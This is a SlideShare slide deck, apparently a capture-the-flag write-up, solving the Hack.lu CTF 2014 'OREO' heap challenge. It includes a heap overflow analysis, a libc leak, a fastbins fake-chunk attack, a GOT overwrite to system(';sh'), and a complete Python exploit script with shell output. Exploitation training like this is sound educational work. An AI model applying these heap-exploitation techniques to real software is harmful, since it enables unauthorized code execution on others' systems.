SlideShare ist ein Scribd-Unternehmen logo
1 von 31
Downloaden Sie, um offline zu lesen
OREO
Hack.lu CTF 2014 - Exploiting 400 points
you0708@YOKARO-MON
The Original Rifle Company has the most
finest rifles and revolvers in whole
Rodeo City! However their buildings are
pretty secure, so your only chance to get
into their offices is by hacking through
the Original Rifle Ecommerce Online
(OREO) System and steal all those pretty
weapons from the inside! Makes sense
right? Good luck!
nc wildwildweb.fluxfingers.net 1414
Welcome to the OREO Original Rifle Ecommerce Online System!
,______________________________________
|_________________,----------._ [____] -,__ __....-----=====
(_(||||||||||||)___________/ |
`----------' OREO [ ))"-, |
"" `, _,--....___ |
`/ """"
What would you like to do?
1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action: 1
Rifle name: hogehoge
Rifle description: sample rifle
Action: 2
Rifle to be ordered:
===================================
Name: hogehoge
Description: sample rifle
===================================
Action:
Analysis
Surface Analysis
• file
• ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked
(uses shared libs), for GNU/Linux 2.6.26, stripped
• checksec
• CANARY : ENABLED
• FORTIFY : disabled
• NX : ENABLED
• PIE : disabled
• RELRO : disabled
Dynamic Analysis
• We can order rifles
1. Select rifles you want to order
• Need to specify rifle name & description
2. Submit an order for selected rifles
• Can leave a message
Static Analysis
• Reverse engineering using IDA
• Data structure of the rifle
Static Analysis
Static Analysis
• aa_rifle (Size = 0x38)
Offset Size Name
0x00 0x19 description
0x19 0x1B name
0x34 4 last
Fastbins
Reference: Heap Chunk
• http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200
Reference: Heap Chunk
• http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200
Understanding Rifle
Management using GDB
• After adding 2 rifles
• After order size + flag, fd, bk
“A” “a”
“b”“B”
It can be found from 0x0804A288 that
stores address of last rifle
• After adding 2 rifles
Heap
Chunk 2
Chunk 1
Understanding Rifle
Management
Rifle 2
0x00000041 (size + flag)
(prev size)
Rifle 1
description
name
0
0x00000041 (size + flag)
(prev size)
description
name
address of Rifle 1
• After order
Heap
Chunk 2
Chunk 1
Understanding Rifle
Management
0x00000041 (size + flag)
(prev size)
0x00000041 (size + flag)
(prev size)
0x00000000 (fd)
0x00000000 (bk)
address of Chunk 2 (fd)
0x00000000 (bk)
Vulnerability
• Add command
1. Alloc 0x38 bytes heap (new rifle)
2. Connect to previous rifle
3. Input rifle’s name (max 0x38 bytes)
4. Input rifle’s description (max 0x38 bytes)
5. Add rifle counter
Vulnerability
• You can do buffer-overflow as below
Rifle
description
name
last
“A” * 0x38
Vulnerability
• Or
Rifle
description
name
last“A” * 0x38
Exploitation
Memory Leakage
• Overwrite last rifle address
Heap
Chunk 1
Rifle 1
description
name
0
0x41 (size + flag)
(prev size)
Target data
You can read target data as rifle’s
description using show command
“A” * 0x1B

+ address of target data
Fastbins Unlink Attack
• Breaking fastbins chain
Heap
Freed

Chunk 2
Reallocated
Chunk 1
0x42 (size + flag)
(prev size)
0x41 (size + flag)
(prev size)
address of Chunk 1
bk
Rifle 3
description
name
0
“A” * 0x1F

+ 0

+ 0

+ 0x41

+ address of target memory
Target memory
It used as a heap
chunk after re-
allocating Chunk 2
Add a rifle after free 2
rifles
Reference: Fastbins Unlink
Attack
• http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200
To avoid size check failure, you have to
put a correct value into “size”
(In this case, the value must be 0x41)
Making Fake Freed Chunk
• You have to find the area that can be set to
0x41 when re-allocation
Chunk
0x41 (size + flag)
(prev size)
fd
bk
You can use 0x804A2A0 as a
freed chunk because
rifle_counter can be set 0x41
Exploitation Process
1. Leak address of ibc functions
2. Calc address of “system”
3. Add rifles until rifle counter is 0x3F
4. Order rifles (free fastbins)
5. Breaking fastbins chain by adding a rifle
6. Allocate 0x804A2A0 as a heap chunk by adding a rifle
7. Overwrite GOT by leaving message
8. Get shell
Exploitation Process
2. Calc address of “system”
• See http://pastebin.com/9vq38BYH
Exploitation Process
3. Add rifles until rifle counter is 0x3F
4. Order rifles (Free fastbins)
while rifle_count < 0x3e:
cmd_add("A"*27+p(0), "B")
cmd_add("A", "B")
cmd_order()
To avoid to create many fast chunks,

the “last” should be 0x00000000
Exploitation Process
6. Allocate 0x804A2A0 as a heap chunk by
adding a rifle
• Before allocation, rifle counter will be 0x41
• Its description must be addr of strlen@got
Address Before After
0x804A2A0 orderd_counter prev_size 0x00000000
0x804A2A4 rifle_counter size + flag 0x00000041
0x804A2A8 lpMsg description address of strlen@got
0x804a2c1 msg_buf + 1 name “foobar"
0x804a2dc msg_buf + 0x1C last Unknown
strlen@got is will be call the
program after adding a
rifle/leaving a message
Exploitation Process
7. Overwrite strlen@got by leaving a message
• Now lpMsg points to strlen@got
• Message should be p(libc_system) + “;sh
x00"
• “;shx00" will be used in next step
Exploitation Process
8. Get shell
• Overwrote strlen will be called after
adding the rifle
• Its argument is the message:

p(libc_system) + “;shx00”
• It means the program will call

system(“x??x??x??x??;sh”)
oreo.py
s, f = sock("wildwildweb.fluxfingers.net", 1414)
got_malloc = 0x0804A244
got_strlen = 0x0804A250
p_order_msg = 0x0804A2A8
rifle_count = 0
ready_action()
cmd_add("A"*27+p(got_malloc-0x19), "B"*25)
libc_malloc = u(cmd_show()[1][0][:4])
print("[*] got libc malloc: 0x%08x" % libc_malloc)
libc_system = libc_malloc - 0x0007d950 + 0x00042af0
print("[*] got libc system: 0x%08x" % libc_system)
while rifle_count < 0x3e:
cmd_add("A"*27+p(0), "B")
cmd_add("A", "B")
cmd_order()
cmd_add("A"*27+p(0)+p(0)+p(0x41)+p(p_order_msg-8), "B")
cmd_add("A", "B")
cmd_add("A", p(got_strlen))
cmd_msg(p(libc_system) + ";shx00", noread=True)
print("[*] got shell")
shell(s)
$ python oreo.py
[*] rifle count: 0x01
[*] got libc malloc: 0xf76a2950
[*] got libc system: 0xf7667af0
[*] rifle count: 0x02
[*] rifle count: 0x03
(snip.)
[*] rifle count: 0x3f
[*] ordered
[*] rifle count: 0x40
[*] rifle count: 0x41
[*] rifle count: 0x42
[*] got shell
ls
fl4g oreo
cat fl4g
flag{FASTBINS_ARE_NICE_ARENT_THEY}
Thank you!

Weitere ähnliche Inhalte

Was ist angesagt?

Laporan kdv akmal
Laporan kdv akmalLaporan kdv akmal
Laporan kdv akmal
Akmal_sidiq
 
Cara pengukuran menggunakan total station
Cara pengukuran menggunakan total station Cara pengukuran menggunakan total station
Cara pengukuran menggunakan total station
Edho Wiranata
 
mobile_我要如何設定TOTOLINK路由器的VPN才能從大陸翻牆回來呢?
mobile_我要如何設定TOTOLINK路由器的VPN才能從大陸翻牆回來呢?mobile_我要如何設定TOTOLINK路由器的VPN才能從大陸翻牆回來呢?
mobile_我要如何設定TOTOLINK路由器的VPN才能從大陸翻牆回來呢?
臺灣塔米歐
 
ΑΛΓΟΡΙΘΜΟΙ ΣΕ C - ΜΑΘΗΜΑ 3
ΑΛΓΟΡΙΘΜΟΙ ΣΕ C - ΜΑΘΗΜΑ 3ΑΛΓΟΡΙΘΜΟΙ ΣΕ C - ΜΑΘΗΜΑ 3
ΑΛΓΟΡΙΘΜΟΙ ΣΕ C - ΜΑΘΗΜΑ 3
Dimitris Psounis
 
Persiapan peta kerja
Persiapan peta kerjaPersiapan peta kerja
Persiapan peta kerja
Dio Pratama
 
Bab ii pengukuran titik detail
Bab ii pengukuran titik detailBab ii pengukuran titik detail
Bab ii pengukuran titik detail
Hendra Supriyanto
 

Was ist angesagt? (19)

Η ΓΛΩΣΣΑ C - ΜΑΘΗΜΑ 7 - ΠΙΝΑΚΕΣ
Η ΓΛΩΣΣΑ C - ΜΑΘΗΜΑ 7 - ΠΙΝΑΚΕΣΗ ΓΛΩΣΣΑ C - ΜΑΘΗΜΑ 7 - ΠΙΝΑΚΕΣ
Η ΓΛΩΣΣΑ C - ΜΑΘΗΜΑ 7 - ΠΙΝΑΚΕΣ
 
Laporan kdv akmal
Laporan kdv akmalLaporan kdv akmal
Laporan kdv akmal
 
Perhitungan galian dan_timbunan
Perhitungan galian dan_timbunanPerhitungan galian dan_timbunan
Perhitungan galian dan_timbunan
 
Laporan bandara hang nadim batam ergi
Laporan bandara hang nadim batam ergiLaporan bandara hang nadim batam ergi
Laporan bandara hang nadim batam ergi
 
Pengenalan alat total station (digital theodolite)
Pengenalan alat total station (digital theodolite) Pengenalan alat total station (digital theodolite)
Pengenalan alat total station (digital theodolite)
 
Bab iii hitungan polygon
Bab iii hitungan polygonBab iii hitungan polygon
Bab iii hitungan polygon
 
Simetria
SimetriaSimetria
Simetria
 
Materi Kuliah Penginderaan Jauh Dasar (FOTOGRAMETRI)
Materi Kuliah Penginderaan Jauh Dasar (FOTOGRAMETRI)Materi Kuliah Penginderaan Jauh Dasar (FOTOGRAMETRI)
Materi Kuliah Penginderaan Jauh Dasar (FOTOGRAMETRI)
 
Dasar dasar ilmu ukur tanah
Dasar dasar ilmu ukur tanahDasar dasar ilmu ukur tanah
Dasar dasar ilmu ukur tanah
 
Tutorial surpac bag 3 ( input point )
Tutorial surpac bag 3 ( input point )Tutorial surpac bag 3 ( input point )
Tutorial surpac bag 3 ( input point )
 
Transformasi Datum
Transformasi DatumTransformasi Datum
Transformasi Datum
 
Cara pengukuran menggunakan total station
Cara pengukuran menggunakan total station Cara pengukuran menggunakan total station
Cara pengukuran menggunakan total station
 
mbot2.0教學-陀螺儀與三軸加速計應用.pdf
mbot2.0教學-陀螺儀與三軸加速計應用.pdfmbot2.0教學-陀螺儀與三軸加速計應用.pdf
mbot2.0教學-陀螺儀與三軸加速計應用.pdf
 
mobile_我要如何設定TOTOLINK路由器的VPN才能從大陸翻牆回來呢?
mobile_我要如何設定TOTOLINK路由器的VPN才能從大陸翻牆回來呢?mobile_我要如何設定TOTOLINK路由器的VPN才能從大陸翻牆回來呢?
mobile_我要如何設定TOTOLINK路由器的VPN才能從大陸翻牆回來呢?
 
ბაგრატ III ერთიანი საქართველოს პირველი მეფე
ბაგრატ III  ერთიანი საქართველოს პირველი მეფებაგრატ III  ერთიანი საქართველოს პირველი მეფე
ბაგრატ III ერთიანი საქართველოს პირველი მეფე
 
ΑΛΓΟΡΙΘΜΟΙ ΣΕ C - ΜΑΘΗΜΑ 3
ΑΛΓΟΡΙΘΜΟΙ ΣΕ C - ΜΑΘΗΜΑ 3ΑΛΓΟΡΙΘΜΟΙ ΣΕ C - ΜΑΘΗΜΑ 3
ΑΛΓΟΡΙΘΜΟΙ ΣΕ C - ΜΑΘΗΜΑ 3
 
Persiapan peta kerja
Persiapan peta kerjaPersiapan peta kerja
Persiapan peta kerja
 
Kesalahan-kesalahan pada survei dan pemetaan.pptx
Kesalahan-kesalahan    pada survei dan pemetaan.pptxKesalahan-kesalahan    pada survei dan pemetaan.pptx
Kesalahan-kesalahan pada survei dan pemetaan.pptx
 
Bab ii pengukuran titik detail
Bab ii pengukuran titik detailBab ii pengukuran titik detail
Bab ii pengukuran titik detail
 

Andere mochten auch

[CB16] ATM 詐欺を阻止する方法 by Olga Kochetova & Alexey Osipov
[CB16] ATM 詐欺を阻止する方法 by Olga Kochetova & Alexey Osipov[CB16] ATM 詐欺を阻止する方法 by Olga Kochetova & Alexey Osipov
[CB16] ATM 詐欺を阻止する方法 by Olga Kochetova & Alexey Osipov
CODE BLUE
 
копия прайс продукты_из_рая_111
копия прайс продукты_из_рая_111копия прайс продукты_из_рая_111
копия прайс продукты_из_рая_111
Евгений Палыч
 
MIN SHENG LINES - Profile
MIN SHENG LINES - ProfileMIN SHENG LINES - Profile
MIN SHENG LINES - Profile
Muhammad Bilal
 

Andere mochten auch (13)

IDA ユーザなら知っておくべきマントノン侯爵夫人にモテる 7つの法則
IDA ユーザなら知っておくべきマントノン侯爵夫人にモテる 7つの法則IDA ユーザなら知っておくべきマントノン侯爵夫人にモテる 7つの法則
IDA ユーザなら知っておくべきマントノン侯爵夫人にモテる 7つの法則
 
[CB16] ATM 詐欺を阻止する方法 by Olga Kochetova & Alexey Osipov
[CB16] ATM 詐欺を阻止する方法 by Olga Kochetova & Alexey Osipov[CB16] ATM 詐欺を阻止する方法 by Olga Kochetova & Alexey Osipov
[CB16] ATM 詐欺を阻止する方法 by Olga Kochetova & Alexey Osipov
 
Return to dlresolve
Return to dlresolveReturn to dlresolve
Return to dlresolve
 
ВКонтакте: потребление контента
ВКонтакте: потребление контента ВКонтакте: потребление контента
ВКонтакте: потребление контента
 
Daina Middleton, Global Head of Business Marketing, Twitter
Daina Middleton, Global Head of Business Marketing, TwitterDaina Middleton, Global Head of Business Marketing, Twitter
Daina Middleton, Global Head of Business Marketing, Twitter
 
2016 Spring Saratogan
2016 Spring Saratogan2016 Spring Saratogan
2016 Spring Saratogan
 
Flyer
FlyerFlyer
Flyer
 
копия прайс продукты_из_рая_111
копия прайс продукты_из_рая_111копия прайс продукты_из_рая_111
копия прайс продукты_из_рая_111
 
Bewitched and bothered
Bewitched and botheredBewitched and bothered
Bewitched and bothered
 
Mapas conceptuales y mentales
Mapas conceptuales y mentalesMapas conceptuales y mentales
Mapas conceptuales y mentales
 
boeng early MRB 2
boeng early MRB 2boeng early MRB 2
boeng early MRB 2
 
A2. MEP1 - Mod 1 - Tema2
A2. MEP1 - Mod 1 - Tema2A2. MEP1 - Mod 1 - Tema2
A2. MEP1 - Mod 1 - Tema2
 
MIN SHENG LINES - Profile
MIN SHENG LINES - ProfileMIN SHENG LINES - Profile
MIN SHENG LINES - Profile
 

Ähnlich wie OREO - Hack.lu CTF 2014

20190521 pwn 101_by_roy
20190521 pwn 101_by_roy20190521 pwn 101_by_roy
20190521 pwn 101_by_roy
Roy
 
PE102 - a Windows executable format overview (booklet V1)
PE102 - a Windows executable format overview (booklet V1)PE102 - a Windows executable format overview (booklet V1)
PE102 - a Windows executable format overview (booklet V1)
Ange Albertini
 
Chapter Eight(3)
Chapter Eight(3)Chapter Eight(3)
Chapter Eight(3)
bolovv
 

Ähnlich wie OREO - Hack.lu CTF 2014 (20)

Windows Debugging with WinDbg
Windows Debugging with WinDbgWindows Debugging with WinDbg
Windows Debugging with WinDbg
 
20190521 pwn 101_by_roy
20190521 pwn 101_by_roy20190521 pwn 101_by_roy
20190521 pwn 101_by_roy
 
[131]해커의 관점에서 바라보기
[131]해커의 관점에서 바라보기[131]해커의 관점에서 바라보기
[131]해커의 관점에서 바라보기
 
0x01 - Breaking into Linux VMs for Fun and Profit.pdf
0x01 - Breaking into Linux VMs for Fun and Profit.pdf0x01 - Breaking into Linux VMs for Fun and Profit.pdf
0x01 - Breaking into Linux VMs for Fun and Profit.pdf
 
Basic arithmetic, instruction execution and program
Basic arithmetic, instruction execution and programBasic arithmetic, instruction execution and program
Basic arithmetic, instruction execution and program
 
Heap Base Exploitation
Heap Base ExploitationHeap Base Exploitation
Heap Base Exploitation
 
PE102 - a Windows executable format overview (booklet V1)
PE102 - a Windows executable format overview (booklet V1)PE102 - a Windows executable format overview (booklet V1)
PE102 - a Windows executable format overview (booklet V1)
 
The forgotten art of assembly
The forgotten art of assemblyThe forgotten art of assembly
The forgotten art of assembly
 
Chapter Eight(3)
Chapter Eight(3)Chapter Eight(3)
Chapter Eight(3)
 
Runtime Symbol Resolution
Runtime Symbol ResolutionRuntime Symbol Resolution
Runtime Symbol Resolution
 
APEX Connect 2019 - array/bulk processing in PLSQL
APEX Connect 2019 - array/bulk processing in PLSQLAPEX Connect 2019 - array/bulk processing in PLSQL
APEX Connect 2019 - array/bulk processing in PLSQL
 
C Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer CentreC Programming Training in Ambala ! Batra Computer Centre
C Programming Training in Ambala ! Batra Computer Centre
 
Writing Metasploit Plugins
Writing Metasploit PluginsWriting Metasploit Plugins
Writing Metasploit Plugins
 
Winter training,Readymade Projects,Buy Projects,Corporate Training
Winter training,Readymade Projects,Buy Projects,Corporate TrainingWinter training,Readymade Projects,Buy Projects,Corporate Training
Winter training,Readymade Projects,Buy Projects,Corporate Training
 
OpenWorld 2018 - Common Application Developer Disasters
OpenWorld 2018 - Common Application Developer DisastersOpenWorld 2018 - Common Application Developer Disasters
OpenWorld 2018 - Common Application Developer Disasters
 
Object Oriented Exploitation: New techniques in Windows mitigation bypass
Object Oriented Exploitation: New techniques in Windows mitigation bypassObject Oriented Exploitation: New techniques in Windows mitigation bypass
Object Oriented Exploitation: New techniques in Windows mitigation bypass
 
Data type
Data typeData type
Data type
 
TDOH x 台科 pwn課程
TDOH x 台科 pwn課程TDOH x 台科 pwn課程
TDOH x 台科 pwn課程
 
Symbolic Debugging with DWARF
Symbolic Debugging with DWARFSymbolic Debugging with DWARF
Symbolic Debugging with DWARF
 
Hacklu11 Writeup
Hacklu11 WriteupHacklu11 Writeup
Hacklu11 Writeup
 

Kürzlich hochgeladen

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
ssuser89054b
 
AKTU Computer Networks notes --- Unit 3.pdf
AKTU Computer Networks notes ---  Unit 3.pdfAKTU Computer Networks notes ---  Unit 3.pdf
AKTU Computer Networks notes --- Unit 3.pdf
ankushspencer015
 
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
dharasingh5698
 
FULL ENJOY Call Girls In Mahipalpur Delhi Contact Us 8377877756
FULL ENJOY Call Girls In Mahipalpur Delhi Contact Us 8377877756FULL ENJOY Call Girls In Mahipalpur Delhi Contact Us 8377877756
FULL ENJOY Call Girls In Mahipalpur Delhi Contact Us 8377877756
dollysharma2066
 
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak HamilCara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
Cara Menggugurkan Kandungan 087776558899
 

Kürzlich hochgeladen (20)

Top Rated Pune Call Girls Budhwar Peth ⟟ 6297143586 ⟟ Call Me For Genuine Se...
Top Rated  Pune Call Girls Budhwar Peth ⟟ 6297143586 ⟟ Call Me For Genuine Se...Top Rated  Pune Call Girls Budhwar Peth ⟟ 6297143586 ⟟ Call Me For Genuine Se...
Top Rated Pune Call Girls Budhwar Peth ⟟ 6297143586 ⟟ Call Me For Genuine Se...
 
Bhosari ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For ...
Bhosari ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For ...Bhosari ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For ...
Bhosari ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For ...
 
KubeKraft presentation @CloudNativeHooghly
KubeKraft presentation @CloudNativeHooghlyKubeKraft presentation @CloudNativeHooghly
KubeKraft presentation @CloudNativeHooghly
 
Generative AI or GenAI technology based PPT
Generative AI or GenAI technology based PPTGenerative AI or GenAI technology based PPT
Generative AI or GenAI technology based PPT
 
Design For Accessibility: Getting it right from the start
Design For Accessibility: Getting it right from the startDesign For Accessibility: Getting it right from the start
Design For Accessibility: Getting it right from the start
 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
 
AKTU Computer Networks notes --- Unit 3.pdf
AKTU Computer Networks notes ---  Unit 3.pdfAKTU Computer Networks notes ---  Unit 3.pdf
AKTU Computer Networks notes --- Unit 3.pdf
 
Unit 1 - Soil Classification and Compaction.pdf
Unit 1 - Soil Classification and Compaction.pdfUnit 1 - Soil Classification and Compaction.pdf
Unit 1 - Soil Classification and Compaction.pdf
 
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Palanpur 7001035870 Whatsapp Number, 24/07 Booking
 
Work-Permit-Receiver-in-Saudi-Aramco.pptx
Work-Permit-Receiver-in-Saudi-Aramco.pptxWork-Permit-Receiver-in-Saudi-Aramco.pptx
Work-Permit-Receiver-in-Saudi-Aramco.pptx
 
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
VIP Model Call Girls Kothrud ( Pune ) Call ON 8005736733 Starting From 5K to ...
 
University management System project report..pdf
University management System project report..pdfUniversity management System project report..pdf
University management System project report..pdf
 
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...
Call Girls Pimpri Chinchwad Call Me 7737669865 Budget Friendly No Advance Boo...
 
FULL ENJOY Call Girls In Mahipalpur Delhi Contact Us 8377877756
FULL ENJOY Call Girls In Mahipalpur Delhi Contact Us 8377877756FULL ENJOY Call Girls In Mahipalpur Delhi Contact Us 8377877756
FULL ENJOY Call Girls In Mahipalpur Delhi Contact Us 8377877756
 
UNIT - IV - Air Compressors and its Performance
UNIT - IV - Air Compressors and its PerformanceUNIT - IV - Air Compressors and its Performance
UNIT - IV - Air Compressors and its Performance
 
Unleashing the Power of the SORA AI lastest leap
Unleashing the Power of the SORA AI lastest leapUnleashing the Power of the SORA AI lastest leap
Unleashing the Power of the SORA AI lastest leap
 
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak HamilCara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
Cara Menggugurkan Sperma Yang Masuk Rahim Biyar Tidak Hamil
 
Thermal Engineering Unit - I & II . ppt
Thermal Engineering  Unit - I & II . pptThermal Engineering  Unit - I & II . ppt
Thermal Engineering Unit - I & II . ppt
 
Navigating Complexity: The Role of Trusted Partners and VIAS3D in Dassault Sy...
Navigating Complexity: The Role of Trusted Partners and VIAS3D in Dassault Sy...Navigating Complexity: The Role of Trusted Partners and VIAS3D in Dassault Sy...
Navigating Complexity: The Role of Trusted Partners and VIAS3D in Dassault Sy...
 
Intro To Electric Vehicles PDF Notes.pdf
Intro To Electric Vehicles PDF Notes.pdfIntro To Electric Vehicles PDF Notes.pdf
Intro To Electric Vehicles PDF Notes.pdf
 

OREO - Hack.lu CTF 2014

  • 1. OREO Hack.lu CTF 2014 - Exploiting 400 points you0708@YOKARO-MON
  • 2. The Original Rifle Company has the most finest rifles and revolvers in whole Rodeo City! However their buildings are pretty secure, so your only chance to get into their offices is by hacking through the Original Rifle Ecommerce Online (OREO) System and steal all those pretty weapons from the inside! Makes sense right? Good luck! nc wildwildweb.fluxfingers.net 1414
  • 3. Welcome to the OREO Original Rifle Ecommerce Online System! ,______________________________________ |_________________,----------._ [____] -,__ __....-----===== (_(||||||||||||)___________/ | `----------' OREO [ ))"-, | "" `, _,--....___ | `/ """" What would you like to do? 1. Add new rifle 2. Show added rifles 3. Order selected rifles 4. Leave a Message with your Order 5. Show current stats 6. Exit! Action: 1 Rifle name: hogehoge Rifle description: sample rifle Action: 2 Rifle to be ordered: =================================== Name: hogehoge Description: sample rifle =================================== Action:
  • 5. Surface Analysis • file • ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, stripped • checksec • CANARY : ENABLED • FORTIFY : disabled • NX : ENABLED • PIE : disabled • RELRO : disabled
  • 6. Dynamic Analysis • We can order rifles 1. Select rifles you want to order • Need to specify rifle name & description 2. Submit an order for selected rifles • Can leave a message
  • 7. Static Analysis • Reverse engineering using IDA
  • 8. • Data structure of the rifle Static Analysis
  • 9. Static Analysis • aa_rifle (Size = 0x38) Offset Size Name 0x00 0x19 description 0x19 0x1B name 0x34 4 last Fastbins
  • 10. Reference: Heap Chunk • http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200
  • 11. Reference: Heap Chunk • http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200
  • 12. Understanding Rifle Management using GDB • After adding 2 rifles • After order size + flag, fd, bk “A” “a” “b”“B” It can be found from 0x0804A288 that stores address of last rifle
  • 13. • After adding 2 rifles Heap Chunk 2 Chunk 1 Understanding Rifle Management Rifle 2 0x00000041 (size + flag) (prev size) Rifle 1 description name 0 0x00000041 (size + flag) (prev size) description name address of Rifle 1
  • 14. • After order Heap Chunk 2 Chunk 1 Understanding Rifle Management 0x00000041 (size + flag) (prev size) 0x00000041 (size + flag) (prev size) 0x00000000 (fd) 0x00000000 (bk) address of Chunk 2 (fd) 0x00000000 (bk)
  • 15. Vulnerability • Add command 1. Alloc 0x38 bytes heap (new rifle) 2. Connect to previous rifle 3. Input rifle’s name (max 0x38 bytes) 4. Input rifle’s description (max 0x38 bytes) 5. Add rifle counter
  • 16. Vulnerability • You can do buffer-overflow as below Rifle description name last “A” * 0x38
  • 19. Memory Leakage • Overwrite last rifle address Heap Chunk 1 Rifle 1 description name 0 0x41 (size + flag) (prev size) Target data You can read target data as rifle’s description using show command “A” * 0x1B
 + address of target data
  • 20. Fastbins Unlink Attack • Breaking fastbins chain Heap Freed
 Chunk 2 Reallocated Chunk 1 0x42 (size + flag) (prev size) 0x41 (size + flag) (prev size) address of Chunk 1 bk Rifle 3 description name 0 “A” * 0x1F
 + 0
 + 0
 + 0x41
 + address of target memory Target memory It used as a heap chunk after re- allocating Chunk 2 Add a rifle after free 2 rifles
  • 21. Reference: Fastbins Unlink Attack • http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200 To avoid size check failure, you have to put a correct value into “size” (In this case, the value must be 0x41)
  • 22. Making Fake Freed Chunk • You have to find the area that can be set to 0x41 when re-allocation Chunk 0x41 (size + flag) (prev size) fd bk You can use 0x804A2A0 as a freed chunk because rifle_counter can be set 0x41
  • 23. Exploitation Process 1. Leak address of ibc functions 2. Calc address of “system” 3. Add rifles until rifle counter is 0x3F 4. Order rifles (free fastbins) 5. Breaking fastbins chain by adding a rifle 6. Allocate 0x804A2A0 as a heap chunk by adding a rifle 7. Overwrite GOT by leaving message 8. Get shell
  • 24. Exploitation Process 2. Calc address of “system” • See http://pastebin.com/9vq38BYH
  • 25. Exploitation Process 3. Add rifles until rifle counter is 0x3F 4. Order rifles (Free fastbins) while rifle_count < 0x3e: cmd_add("A"*27+p(0), "B") cmd_add("A", "B") cmd_order() To avoid to create many fast chunks,
 the “last” should be 0x00000000
  • 26. Exploitation Process 6. Allocate 0x804A2A0 as a heap chunk by adding a rifle • Before allocation, rifle counter will be 0x41 • Its description must be addr of strlen@got Address Before After 0x804A2A0 orderd_counter prev_size 0x00000000 0x804A2A4 rifle_counter size + flag 0x00000041 0x804A2A8 lpMsg description address of strlen@got 0x804a2c1 msg_buf + 1 name “foobar" 0x804a2dc msg_buf + 0x1C last Unknown strlen@got is will be call the program after adding a rifle/leaving a message
  • 27. Exploitation Process 7. Overwrite strlen@got by leaving a message • Now lpMsg points to strlen@got • Message should be p(libc_system) + “;sh x00" • “;shx00" will be used in next step
  • 28. Exploitation Process 8. Get shell • Overwrote strlen will be called after adding the rifle • Its argument is the message:
 p(libc_system) + “;shx00” • It means the program will call
 system(“x??x??x??x??;sh”)
  • 29. oreo.py s, f = sock("wildwildweb.fluxfingers.net", 1414) got_malloc = 0x0804A244 got_strlen = 0x0804A250 p_order_msg = 0x0804A2A8 rifle_count = 0 ready_action() cmd_add("A"*27+p(got_malloc-0x19), "B"*25) libc_malloc = u(cmd_show()[1][0][:4]) print("[*] got libc malloc: 0x%08x" % libc_malloc) libc_system = libc_malloc - 0x0007d950 + 0x00042af0 print("[*] got libc system: 0x%08x" % libc_system) while rifle_count < 0x3e: cmd_add("A"*27+p(0), "B") cmd_add("A", "B") cmd_order() cmd_add("A"*27+p(0)+p(0)+p(0x41)+p(p_order_msg-8), "B") cmd_add("A", "B") cmd_add("A", p(got_strlen)) cmd_msg(p(libc_system) + ";shx00", noread=True) print("[*] got shell") shell(s)
  • 30. $ python oreo.py [*] rifle count: 0x01 [*] got libc malloc: 0xf76a2950 [*] got libc system: 0xf7667af0 [*] rifle count: 0x02 [*] rifle count: 0x03 (snip.) [*] rifle count: 0x3f [*] ordered [*] rifle count: 0x40 [*] rifle count: 0x41 [*] rifle count: 0x42 [*] got shell ls fl4g oreo cat fl4g flag{FASTBINS_ARE_NICE_ARENT_THEY}